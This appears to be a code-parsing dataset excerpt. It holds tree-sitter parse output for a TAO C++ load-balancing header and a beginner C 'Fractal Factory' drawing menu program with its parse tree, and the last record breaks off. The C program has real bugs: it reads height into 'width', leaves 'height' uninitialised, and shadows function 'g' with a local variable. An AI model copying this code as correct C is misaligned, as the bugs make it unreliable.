{"row": 54, "column": 26}, "end_point": {"row": 54, "column": 30}}, {"id": 67, "type": "primitive_type", "text": "void", "parent": 66, "children": [], "start_point": {"row": 54, "column": 26}, "end_point": {"row": 54, "column": 30}}, {"id": 68, "type": "declaration", "text": "virtual ~TAO_LB_LoadAlert (void);", "parent": 29, "children": [69, 70, 72], "start_point": {"row": 63, "column": 2}, "end_point": {"row": 63, "column": 35}}, {"id": 69, "type": "type_identifier", "text": "virtual", "parent": 68, "children": [], "start_point": {"row": 63, "column": 2}, "end_point": {"row": 63, "column": 9}}, {"id": 70, "type": "ERROR", "text": "~", "parent": 68, "children": [71], "start_point": {"row": 63, "column": 10}, "end_point": {"row": 63, "column": 11}}, {"id": 71, "type": "~", "text": "~", "parent": 70, "children": [], "start_point": {"row": 63, "column": 10}, "end_point": {"row": 63, "column": 11}}, {"id": 72, "type": "function_declarator", "text": "TAO_LB_LoadAlert (void)", "parent": 68, "children": [73, 74], "start_point": {"row": 63, "column": 11}, "end_point": {"row": 63, "column": 34}}, {"id": 73, "type": "identifier", "text": "TAO_LB_LoadAlert", "parent": 72, "children": [], "start_point": {"row": 63, "column": 11}, "end_point": {"row": 63, "column": 27}}, {"id": 74, "type": "parameter_list", "text": "(void)", "parent": 72, "children": [75], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 34}}, {"id": 75, "type": "parameter_declaration", "text": "void", "parent": 74, "children": [76], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 33}}, {"id": 76, "type": "primitive_type", "text": "void", "parent": 75, "children": [], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 33}}, {"id": 77, "type": "labeled_statement", "text": "private:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;", "parent": 29, "children": [78], "start_point": {"row": 65, "column": 0}, "end_point": {"row": 69, "column": 26}}, {"id": 78, "type": "labeled_statement", "text": "CORBA::Boolean alerted_;", "parent": 77, "children": [79, 80], "start_point": {"row": 69, "column": 2}, "end_point": {"row": 69, "column": 26}}, {"id": 79, "type": "statement_identifier", "text": "CORBA", "parent": 78, "children": [], "start_point": {"row": 69, "column": 2}, "end_point": {"row": 69, "column": 7}}, {"id": 80, "type": "declaration", "text": "Boolean alerted_;", "parent": 78, "children": [81, 82], "start_point": {"row": 69, "column": 9}, "end_point": {"row": 69, "column": 26}}, {"id": 81, "type": "type_identifier", "text": "Boolean", "parent": 80, "children": [], "start_point": {"row": 69, "column": 9}, "end_point": {"row": 69, "column": 16}}, {"id": 82, "type": "identifier", "text": "alerted_", "parent": 80, "children": [], "start_point": {"row": 69, "column": 17}, "end_point": {"row": 69, "column": 25}}, {"id": 83, "type": "declaration", "text": "mutable TAO_SYNCH_MUTEX lock_;", "parent": 29, "children": [84, 85, 86], "start_point": {"row": 72, "column": 2}, "end_point": {"row": 72, "column": 32}}, {"id": 84, "type": "type_identifier", "text": "mutable", "parent": 83, "children": [], "start_point": {"row": 72, "column": 2}, "end_point": {"row": 72, "column": 9}}, {"id": 85, "type": "identifier", "text": "TAO_SYNCH_MUTEX", "parent": 83, "children": [], "start_point": {"row": 72, "column": 10}, "end_point": {"row": 72, "column": 25}}, {"id": 86, "type": "ERROR", "text": "lock_", "parent": 83, "children": [87], "start_point": {"row": 72, "column": 26}, "end_point": {"row": 72, "column": 31}}, {"id": 87, "type": "identifier", "text": "lock_", "parent": 86, "children": [], "start_point": {"row": 72, "column": 26}, "end_point": {"row": 72, "column": 31}}, {"id": 88, "type": "type_identifier", "text": "TAO_END_VERSIONED_NAMESPACE_DECL", "parent": 0, "children": [], "start_point": {"row": 76, "column": 0}, "end_point": {"row": 76, "column": 32}}, {"id": 89, "type": "preproc_if", "text": "#if defined (__ACE_INLINE__)\n# include \"orbsvcs/LoadBalancing/LB_LoadAlert.inl\"\n#endif", "parent": 0, "children": [90, 91, 94, 95, 98], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 80, "column": 6}}, {"id": 90, "type": "#if", "text": "#if", "parent": 89, "children": [], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 3}}, {"id": 91, "type": "preproc_defined", "text": "defined (__ACE_INLINE__)", "parent": 89, "children": [92, 93], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 28}}, {"id": 92, "type": "defined", "text": "defined", "parent": 91, "children": [], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 11}}, {"id": 93, "type": "identifier", "text": "__ACE_INLINE__", "parent": 91, "children": [], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 27}}, {"id": 94, "type": "\n", "text": "\n", "parent": 89, "children": [], "start_point": {"row": 78, "column": 28}, "end_point": {"row": 79, "column": 0}}, {"id": 95, "type": "preproc_include", "text": "# include \"orbsvcs/LoadBalancing/LB_LoadAlert.inl\"\n", "parent": 89, "children": [96, 97], "start_point": {"row": 79, "column": 0}, "end_point": {"row": 80, "column": 0}}, {"id": 96, "type": "#include", "text": "# include", "parent": 95, "children": [], "start_point": {"row": 79, "column": 0}, "end_point": {"row": 79, "column": 9}}, {"id": 97, "type": "string_literal", "text": "\"orbsvcs/LoadBalancing/LB_LoadAlert.inl\"", "parent": 95, "children": [], "start_point": {"row": 79, "column": 10}, "end_point": {"row": 79, "column": 50}}, {"id": 98, "type": "#endif", "text": "#endif", "parent": 89, "children": [], "start_point": {"row": 80, "column": 0}, "end_point": {"row": 80, "column": 6}}, {"id": 99, "type": "preproc_include", "text": "#include /**/ \"ace/post.h\"\n", "parent": 0, "children": [100, 101], "start_point": {"row": 82, "column": 0}, "end_point": {"row": 83, "column": 0}}, {"id": 100, "type": "#include", "text": "#include", "parent": 99, "children": [], "start_point": {"row": 82, "column": 0}, "end_point": {"row": 82, "column": 8}}, {"id": 101, "type": "string_literal", "text": "\"ace/post.h\"", "parent": 99, "children": [], "start_point": {"row": 82, "column": 14}, "end_point": {"row": 82, "column": 26}}, {"id": 102, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 84, "column": 0}, "end_point": {"row": 84, "column": 6}}]}, "node_categories": {"declarations": {"functions": [29, 45, 54, 63, 72], "variables": [27, 41, 48, 50, 57, 66, 68, 75, 80, 83], "classes": [], "imports": [6, 7, 9, 10, 24, 25, 95, 96, 99, 100], "modules": [], "enums": []}, "statements": {"expressions": [14, 37], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 12, 13, 18, 23, 28, 30, 31, 33, 34, 35, 38, 40, 42, 44, 46, 51, 53, 55, 60, 62, 64, 69, 73, 79, 81, 82, 84, 85, 87, 88, 89, 90, 93, 98, 102], "returns": [], "exceptions": []}, "expressions": {"calls": [20], "literals": [8, 11, 26, 97, 101], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 29, "universal_type": "function", "name": "enable_alert", "text_snippet": "TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npubli"}, {"node_id": 45, "universal_type": "function", "name": "unknown", "text_snippet": "enable_alert (void)"}, {"node_id": 54, "universal_type": "function", "name": "unknown", "text_snippet": "disable_alert (void)"}, {"node_id": 63, "universal_type": "function", "name": "unknown", "text_snippet": "alerted (void) const"}, {"node_id": 72, "universal_type": "function", "name": "unknown", "text_snippet": "TAO_LB_LoadAlert (void)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include /**/ \"ace/pre.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"orbsvcs/CosLoadBalancingS.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 24, "text": "#include \"orbsvcs/PortableGroupC.h\"\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 95, "text": "# include \"orbsvcs/LoadBalancing/LB_LoadAlert.inl\"\n"}, {"node_id": 96, "text": "# include"}, {"node_id": 99, "text": "#include /**/ \"ace/post.h\"\n"}, {"node_id": 100, "text": "#include"}]}, "original_source_code": "// -*- C++ -*-\n\n//=============================================================================\n/**\n * @file LB_LoadAlert.h\n *\n * $Id: LB_LoadAlert.h 77001 2007-02-12 07:54:49Z johnnyw $\n *\n * @author <NAME> <<EMAIL>>\n */\n//=============================================================================\n\n\n#ifndef TAO_LB_LOAD_ALERT_H\n#define TAO_LB_LOAD_ALERT_H\n\n#include /**/ \"ace/pre.h\"\n\n#include \"orbsvcs/CosLoadBalancingS.h\"\n\n#if !defined (ACE_LACKS_PRAGMA_ONCE)\n#pragma once\n#endif /* ACE_LACKS_PRAGMA_ONCE */\n\n#include \"orbsvcs/PortableGroupC.h\"\n\nTAO_BEGIN_VERSIONED_NAMESPACE_DECL\n\nclass TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n};\n\nTAO_END_VERSIONED_NAMESPACE_DECL\n\n#if defined (__ACE_INLINE__)\n# include \"orbsvcs/LoadBalancing/LB_LoadAlert.inl\"\n#endif /* __ACE_INLINE__ */\n\n#include /**/ \"ace/post.h\"\n\n#endif /* TAO_LB_LOAD_ALERT_H */\n"}
81,122
c
#include <stdio.h> #include <stdlib.h> #include "fractal.h" double g(double); void menu(Figure *); int main() { Color* color = (Color*)malloc(sizeof(Color)); double width, height, thickness, resolution; int r, g, b; printf("\n***Welcome to the Fractal Factory***\n"); printf("\nEnter width of your figure(decimal):\n"); scanf("%lf", &width); printf("\nEnter height of your figure(decimal):\n"); scanf("%lf", &width); Figure * figure = start_figure(width, height); printf("\nEnter thickness(decimal):\n"); scanf("%lf", &thickness); printf("\nEnter resolution(decimal):\n"); scanf("%lf", &resolution); set_thickness_resolution(figure, thickness, resolution); printf("\nEnter red, blue and green value of your color(integer integer integer):\n"); scanf("%d%d%d", &r, &g, &b); color->r = r; color->g = g; color->b = b; set_color(figure, *color); menu(figure); // Figure * figure = start_figure(200.1, 200.1); // set_thickness_resolution(figure, 1.0, 60.0); // Color c = {.r=1, .g=2, .b=3}; // set_color(figure, c); // //draw_fx(figure, g, -50.0, 50.0); // Point2D center= {.x=20.0, .y=60.0}; // draw_circle(&center, 40.0, figure); // //draw_ellipse(&center, 120.0, 80.0, figure); // //export_svg(figure, "canvas3.svg"); return 0; } void menu(Figure * figure){ int choice, x, y; double start_x, end_x, r, a, b; Point2D *center = (Point2D*)malloc(sizeof(Point2D)); printf("\nSelect your choice:\n"); printf("1) Draw function f(x) = x^3\n"); printf("2) Draw circle\n"); printf("3) Draw ellipse\n"); printf("4) Exit\n"); printf("\nChoice:"); scanf("%d", &choice); switch(choice){ case 1: printf("\n\nEnter domain of the function [decimal,decimal]:"); scanf("%lf%lf", &start_x, &end_x); draw_fx(figure, g, start_x, end_x); break; case 2: printf("\n\nEnter center point(x,y) of the circle (integer integer):"); scanf("%d%d", &x, &y); center->x = x; center->y = y; printf("\n\nEnter radius of the circle (integer):"); scanf("%lf", &r); draw_circle(center, r, figure); break; case 3: printf("\n\nEnter center point of the ellipse (integer x, integer y):"); scanf("%d%d", &x, &y); center->x = x; center->y = y; printf("\nEnter major and minor axises of the ellipse (decimal, decimal):"); scanf("%lf%lf", &a, &b); draw_ellipse(center, a, b, figure); break; case 4: return; break; default: printf("Wrong input!"); break; } } double g(double x){ return x*x*x /10; } double h(double x){ return x*x; } double k(double x){ return 1/x; }
30.88
92
(translation_unit) "#include <stdio.h>\n#include <stdlib.h>\n#include "fractal.h"\n\ndouble g(double);\nvoid menu(Figure *);\n\nint main() \n{\n Color* color = (Color*)malloc(sizeof(Color));\n double width, height, thickness, resolution;\n int r, g, b;\n printf("\n***Welcome to the Fractal Factory***\n");\n printf("\nEnter width of your figure(decimal):\n");\n scanf("%lf", &width);\n printf("\nEnter height of your figure(decimal):\n");\n scanf("%lf", &width);\n Figure * figure = start_figure(width, height);\n\n printf("\nEnter thickness(decimal):\n");\n scanf("%lf", &thickness);\n printf("\nEnter resolution(decimal):\n");\n scanf("%lf", &resolution);\n set_thickness_resolution(figure, thickness, resolution);\n\n printf("\nEnter red, blue and green value of your color(integer integer integer):\n");\n scanf("%d%d%d", &r, &g, &b);\n color->r = r;\n color->g = g;\n color->b = b;\n set_color(figure, *color);\n\n menu(figure);\n // Figure * figure = start_figure(200.1, 200.1);\n // set_thickness_resolution(figure, 1.0, 60.0);\n // Color c = {.r=1, .g=2, .b=3};\n // set_color(figure, c);\n // //draw_fx(figure, g, -50.0, 50.0);\n // Point2D center= {.x=20.0, .y=60.0};\n // draw_circle(&center, 40.0, figure);\n // //draw_ellipse(&center, 120.0, 80.0, figure);\n // //export_svg(figure, "canvas3.svg");\n\n return 0;\n}\n\nvoid menu(Figure * figure){\n int choice, x, y;\n double start_x, end_x, r, a, b;\n Point2D *center = (Point2D*)malloc(sizeof(Point2D));\n \n printf("\nSelect your choice:\n");\n printf("1) Draw function f(x) = x^3\n");\n printf("2) Draw circle\n");\n printf("3) Draw ellipse\n");\n printf("4) Exit\n");\n printf("\nChoice:");\n scanf("%d", &choice);\n\n switch(choice){\n case 1:\n printf("\n\nEnter domain of the function [decimal,decimal]:");\n scanf("%lf%lf", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf("\n\nEnter center point(x,y) of the circle (integer integer):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\n\nEnter radius of the circle (integer):");\n scanf("%lf", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf("\n\nEnter center point of the ellipse (integer x, integer y):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");\n scanf("%lf%lf", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf("Wrong input!");\n break;\n }\n}\n\ndouble g(double x){\n return x*x*x /10;\n}\n\ndouble h(double x){\n return x*x;\n}\n\ndouble k(double x){\n return 1/x;\n}\n\n\n" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include "fractal.h"\n" (#include) "#include" (string_literal) ""fractal.h"" (") """ (string_content) "fractal.h" (") """ (declaration) "double g(double);" (primitive_type) "double" (function_declarator) "g(double)" (identifier) "g" (parameter_list) "(double)" (() "(" (parameter_declaration) "double" (primitive_type) "double" ()) ")" (;) ";" (declaration) "void menu(Figure *);" (primitive_type) "void" (function_declarator) "menu(Figure *)" (identifier) "menu" (parameter_list) "(Figure *)" (() "(" (parameter_declaration) "Figure *" (type_identifier) "Figure" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (;) ";" (function_definition) "int main() \n{\n Color* color = (Color*)malloc(sizeof(Color));\n double width, height, thickness, resolution;\n int r, g, b;\n printf("\n***Welcome to the Fractal Factory***\n");\n printf("\nEnter width of your figure(decimal):\n");\n scanf("%lf", &width);\n printf("\nEnter height of your figure(decimal):\n");\n scanf("%lf", &width);\n Figure * figure = start_figure(width, height);\n\n printf("\nEnter thickness(decimal):\n");\n scanf("%lf", &thickness);\n printf("\nEnter resolution(decimal):\n");\n scanf("%lf", &resolution);\n set_thickness_resolution(figure, thickness, resolution);\n\n printf("\nEnter red, blue and green value of your color(integer integer integer):\n");\n scanf("%d%d%d", &r, &g, &b);\n color->r = r;\n color->g = g;\n color->b = b;\n set_color(figure, *color);\n\n menu(figure);\n // Figure * figure = start_figure(200.1, 200.1);\n // set_thickness_resolution(figure, 1.0, 60.0);\n // Color c = {.r=1, .g=2, .b=3};\n // set_color(figure, c);\n // //draw_fx(figure, g, -50.0, 50.0);\n // Point2D center= {.x=20.0, .y=60.0};\n // draw_circle(&center, 40.0, figure);\n // //draw_ellipse(&center, 120.0, 80.0, figure);\n // //export_svg(figure, "canvas3.svg");\n\n return 0;\n}" (primitive_type) "int" (function_declarator) "main()" (identifier) "main" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n Color* color = (Color*)malloc(sizeof(Color));\n double width, height, thickness, resolution;\n int r, g, b;\n printf("\n***Welcome to the Fractal Factory***\n");\n printf("\nEnter width of your figure(decimal):\n");\n scanf("%lf", &width);\n printf("\nEnter height of your figure(decimal):\n");\n scanf("%lf", &width);\n Figure * figure = start_figure(width, height);\n\n printf("\nEnter thickness(decimal):\n");\n scanf("%lf", &thickness);\n printf("\nEnter resolution(decimal):\n");\n scanf("%lf", &resolution);\n set_thickness_resolution(figure, thickness, resolution);\n\n printf("\nEnter red, blue and green value of your color(integer integer integer):\n");\n scanf("%d%d%d", &r, &g, &b);\n color->r = r;\n color->g = g;\n color->b = b;\n set_color(figure, *color);\n\n menu(figure);\n // Figure * figure = start_figure(200.1, 200.1);\n // set_thickness_resolution(figure, 1.0, 60.0);\n // Color c = {.r=1, .g=2, .b=3};\n // set_color(figure, c);\n // //draw_fx(figure, g, -50.0, 50.0);\n // Point2D center= {.x=20.0, .y=60.0};\n // draw_circle(&center, 40.0, figure);\n // //draw_ellipse(&center, 120.0, 80.0, figure);\n // //export_svg(figure, "canvas3.svg");\n\n return 0;\n}" ({) "{" (declaration) "Color* color = (Color*)malloc(sizeof(Color));" (type_identifier) "Color" (init_declarator) "* color = (Color*)malloc(sizeof(Color))" (pointer_declarator) "* color" (*) "*" (identifier) "color" (=) "=" (cast_expression) "(Color*)malloc(sizeof(Color))" (() "(" (type_descriptor) "Color*" (type_identifier) "Color" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "malloc(sizeof(Color))" (identifier) "malloc" (argument_list) "(sizeof(Color))" (() "(" (sizeof_expression) "sizeof(Color)" (sizeof) "sizeof" (parenthesized_expression) "(Color)" (() "(" (identifier) "Color" ()) ")" ()) ")" (;) ";" (declaration) "double width, height, thickness, resolution;" (primitive_type) "double" (identifier) "width" (,) "," (identifier) "height" (,) "," (identifier) "thickness" (,) "," (identifier) "resolution" (;) ";" (declaration) "int r, g, b;" (primitive_type) "int" (identifier) "r" (,) "," (identifier) "g" (,) "," (identifier) "b" (;) ";" (expression_statement) "printf("\n***Welcome to the Fractal Factory***\n");" (call_expression) "printf("\n***Welcome to the Fractal Factory***\n")" (identifier) "printf" (argument_list) "("\n***Welcome to the Fractal Factory***\n")" (() "(" (string_literal) ""\n***Welcome to the Fractal Factory***\n"" (") """ (escape_sequence) "\n" (string_content) "***Welcome to the Fractal Factory***" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "printf("\nEnter width of your figure(decimal):\n");" (call_expression) "printf("\nEnter width of your figure(decimal):\n")" (identifier) "printf" (argument_list) "("\nEnter width of your figure(decimal):\n")" (() "(" (string_literal) ""\nEnter width of your figure(decimal):\n"" (") """ (escape_sequence) "\n" (string_content) "Enter width of your figure(decimal):" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf", &width);" (call_expression) "scanf("%lf", &width)" (identifier) "scanf" (argument_list) "("%lf", &width)" (() "(" (string_literal) ""%lf"" (") """ (string_content) "%lf" (") """ (,) "," (pointer_expression) "&width" (&) "&" (identifier) "width" ()) ")" (;) ";" (expression_statement) "printf("\nEnter height of your figure(decimal):\n");" (call_expression) "printf("\nEnter height of your figure(decimal):\n")" (identifier) "printf" (argument_list) "("\nEnter height of your figure(decimal):\n")" (() "(" (string_literal) ""\nEnter height of your figure(decimal):\n"" (") """ (escape_sequence) "\n" (string_content) "Enter height of your figure(decimal):" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf", &width);" (call_expression) "scanf("%lf", &width)" (identifier) "scanf" (argument_list) "("%lf", &width)" (() "(" (string_literal) ""%lf"" (") """ (string_content) "%lf" (") """ (,) "," (pointer_expression) "&width" (&) "&" (identifier) "width" ()) ")" (;) ";" (declaration) "Figure * figure = start_figure(width, height);" (type_identifier) "Figure" (init_declarator) "* figure = start_figure(width, height)" (pointer_declarator) "* figure" (*) "*" (identifier) "figure" (=) "=" (call_expression) "start_figure(width, height)" (identifier) "start_figure" (argument_list) "(width, height)" (() "(" (identifier) "width" (,) "," (identifier) "height" ()) ")" (;) ";" (expression_statement) "printf("\nEnter thickness(decimal):\n");" (call_expression) "printf("\nEnter thickness(decimal):\n")" (identifier) "printf" (argument_list) "("\nEnter thickness(decimal):\n")" (() "(" (string_literal) ""\nEnter thickness(decimal):\n"" (") """ (escape_sequence) "\n" (string_content) "Enter thickness(decimal):" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf", &thickness);" (call_expression) "scanf("%lf", &thickness)" (identifier) "scanf" (argument_list) "("%lf", &thickness)" (() "(" (string_literal) ""%lf"" (") """ (string_content) "%lf" (") """ (,) "," (pointer_expression) "&thickness" (&) "&" (identifier) "thickness" ()) ")" (;) ";" (expression_statement) "printf("\nEnter resolution(decimal):\n");" (call_expression) "printf("\nEnter resolution(decimal):\n")" (identifier) "printf" (argument_list) "("\nEnter resolution(decimal):\n")" (() "(" (string_literal) ""\nEnter resolution(decimal):\n"" (") """ (escape_sequence) "\n" (string_content) "Enter resolution(decimal):" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%lf", &resolution);" (call_expression) "scanf("%lf", &resolution)" (identifier) "scanf" (argument_list) "("%lf", &resolution)" (() "(" (string_literal) ""%lf"" (") """ (string_content) "%lf" (") """ (,) "," (pointer_expression) "&resolution" (&) "&" (identifier) "resolution" ()) ")" (;) ";" (expression_statement) "set_thickness_resolution(figure, thickness, resolution);" (call_expression) "set_thickness_resolution(figure, thickness, resolution)" (identifier) "set_thickness_resolution" (argument_list) "(figure, thickness, resolution)" (() "(" (identifier) "figure" (,) "," (identifier) "thickness" (,) "," (identifier) "resolution" ()) ")" (;) ";" (expression_statement) "printf("\nEnter red, blue and green value of your color(integer integer integer):\n");" (call_expression) "printf("\nEnter red, blue and green value of your color(integer integer integer):\n")" (identifier) "printf" (argument_list) "("\nEnter red, blue and green value of your color(integer integer integer):\n")" (() "(" (string_literal) ""\nEnter red, blue and green value of your color(integer integer integer):\n"" (") """ (escape_sequence) "\n" (string_content) "Enter red, blue and green value of your color(integer integer integer):" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "scanf("%d%d%d", &r, &g, &b);" (call_expression) "scanf("%d%d%d", &r, &g, &b)" (identifier) "scanf" (argument_list) "("%d%d%d", &r, &g, &b)" (() "(" (string_literal) ""%d%d%d"" (") """ (string_content) "%d%d%d" (") """ (,) "," (pointer_expression) "&r" (&) "&" (identifier) "r" (,) "," (pointer_expression) "&g" (&) "&" (identifier) "g" (,) "," (pointer_expression) "&b" (&) "&" (identifier) "b" ()) ")" (;) ";" (expression_statement) "color->r = r;" (assignment_expression) "color->r = r" (field_expression) "color->r" (identifier) "color" (->) "->" (field_identifier) "r" (=) "=" (identifier) "r" (;) ";" (expression_statement) "color->g = g;" (assignment_expression) "color->g = g" (field_expression) "color->g" (identifier) "color" (->) "->" (field_identifier) "g" (=) "=" (identifier) "g" (;) ";" (expression_statement) "color->b = b;" (assignment_expression) "color->b = b" (field_expression) "color->b" (identifier) "color" (->) "->" (field_identifier) "b" (=) "=" (identifier) "b" (;) ";" (expression_statement) "set_color(figure, *color);" (call_expression) "set_color(figure, *color)" (identifier) "set_color" (argument_list) "(figure, *color)" (() "(" (identifier) "figure" (,) "," (pointer_expression) "*color" (*) "*" (identifier) "color" ()) ")" (;) ";" (expression_statement) "menu(figure);" (call_expression) "menu(figure)" (identifier) "menu" (argument_list) "(figure)" (() "(" (identifier) "figure" ()) ")" (;) ";" (comment) "// Figure * figure = start_figure(200.1, 200.1);" (comment) "// set_thickness_resolution(figure, 1.0, 60.0);" (comment) "// Color c = {.r=1, .g=2, .b=3};" (comment) "// set_color(figure, c);" (comment) "// //draw_fx(figure, g, -50.0, 50.0);" (comment) "// Point2D center= {.x=20.0, .y=60.0};" (comment) "// draw_circle(&center, 40.0, figure);" (comment) "// //draw_ellipse(&center, 120.0, 80.0, figure);" (comment) "// //export_svg(figure, "canvas3.svg");" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}" (function_definition) "void menu(Figure * figure){\n int choice, x, y;\n double start_x, end_x, r, a, b;\n Point2D *center = (Point2D*)malloc(sizeof(Point2D));\n \n printf("\nSelect your choice:\n");\n printf("1) Draw function f(x) = x^3\n");\n printf("2) Draw circle\n");\n printf("3) Draw ellipse\n");\n printf("4) Exit\n");\n printf("\nChoice:");\n scanf("%d", &choice);\n\n switch(choice){\n case 1:\n printf("\n\nEnter domain of the function [decimal,decimal]:");\n scanf("%lf%lf", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf("\n\nEnter center point(x,y) of the circle (integer integer):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\n\nEnter radius of the circle (integer):");\n scanf("%lf", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf("\n\nEnter center point of the ellipse (integer x, integer y):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");\n scanf("%lf%lf", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf("Wrong input!");\n break;\n }\n}" (primitive_type) "void" (function_declarator) "menu(Figure * figure)" (identifier) "menu" (parameter_list) "(Figure * figure)" (() "(" (parameter_declaration) "Figure * figure" (type_identifier) "Figure" (pointer_declarator) "* figure" (*) "*" (identifier) "figure" ()) ")" (compound_statement) "{\n int choice, x, y;\n double start_x, end_x, r, a, b;\n Point2D *center = (Point2D*)malloc(sizeof(Point2D));\n \n printf("\nSelect your choice:\n");\n printf("1) Draw function f(x) = x^3\n");\n printf("2) Draw circle\n");\n printf("3) Draw ellipse\n");\n printf("4) Exit\n");\n printf("\nChoice:");\n scanf("%d", &choice);\n\n switch(choice){\n case 1:\n printf("\n\nEnter domain of the function [decimal,decimal]:");\n scanf("%lf%lf", &start_x, &end_x);\n draw_fx(figure, g, start_x, end_x);\n break;\n case 2:\n printf("\n\nEnter center point(x,y) of the circle (integer integer):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\n\nEnter radius of the circle (integer):");\n scanf("%lf", &r);\n draw_circle(center, r, figure);\n break;\n case 3:\n printf("\n\nEnter center point of the ellipse (integer x, integer y):");\n scanf("%d%d", &x, &y);\n center->x = x;\n center->y = y;\n printf("\nEnter major and minor axises of the ellipse (decimal, decimal):");\n scanf("%lf%lf", &a, &b);\n draw_ellipse(center, a, b, figure);\n break;\n case 4:\n return;\n break;\n default:\n printf("Wrong input!");\n break;\n }\n}" ({) "{" (declaration) "int choice, x, y;" (primitive_type) "int" (identifier) "choice" (,) "," (identifier) "x" (,) "," (identifier) "y" (;) ";" (declaration) "double start_x, end_x, r, a, b;" (primitive_type) "double" (identifier) "start_x" (,) "," (identifier) "end_x" (,) "," (identifier) "r" (,) "," (identifier) "a" (,) "," (identifier) "b" (;) ";" (declaration) "Point2D *center = (Point2D*)malloc(sizeof(Point2D));" (type_identifier) "Point2D" (init_declarator) "*center = (Point2D*)malloc(sizeof(Point2D))" (pointer_declarator) "*center" (*) "*" (identifier) "center" (=) "=" (cast_expression) "(Point2D*)malloc(sizeof(Point2D))" (() "(" (type_descriptor) "Point2D*" (type_identifier) "Point2D" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (call_expression) "malloc(sizeof(Point2D))" (identifier) "malloc" (argument_list) "(sizeof(Point2D))" (() "(" (sizeof_expression) "sizeof(Point2D)" (sizeof) "sizeof" (parenthesized_expression) "(Point2D)" (() "(" (identifier) "Point2D" ()) ")" ()) ")" (;) ";" (expression_statement) "printf("\nSelect your choice:\n");" (call_expression) "printf("\nSelect your choice:\n")" (identifier) "printf" (argument_list) "("\nSelect your choice:\n")" (() "(" (string_literal) ""\nSelect your choice:\n"" (") """ (escape_sequence) "\n" (string_content) "Select your choice:" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "printf("1) Draw function f(x) = x^3\n");" (call_expression) "printf("1) Draw function f(x) = x^3\n")" (identifier) "printf" (argument_list) "("1) Draw function f(x) = x^3\n")" (() "(" (string_literal) ""1) Draw function f(x) = x^3\n"" (") """ (string_content) "1) Draw function f(x) = x^3" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "printf("2) Draw circle\n");" (call_expression) "printf("2) Draw circle\n")" (identifier) "printf" (argument_list) "("2) Draw circle\n")" (() "(" (string_literal) ""2) Draw circle\n"" (") """ (string_content) "2) Draw circle" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "printf("3) Draw ellipse\n");" (call_expression) "printf("3) Draw ellipse\n")" (identifier) "printf" (argument_list) "("3) 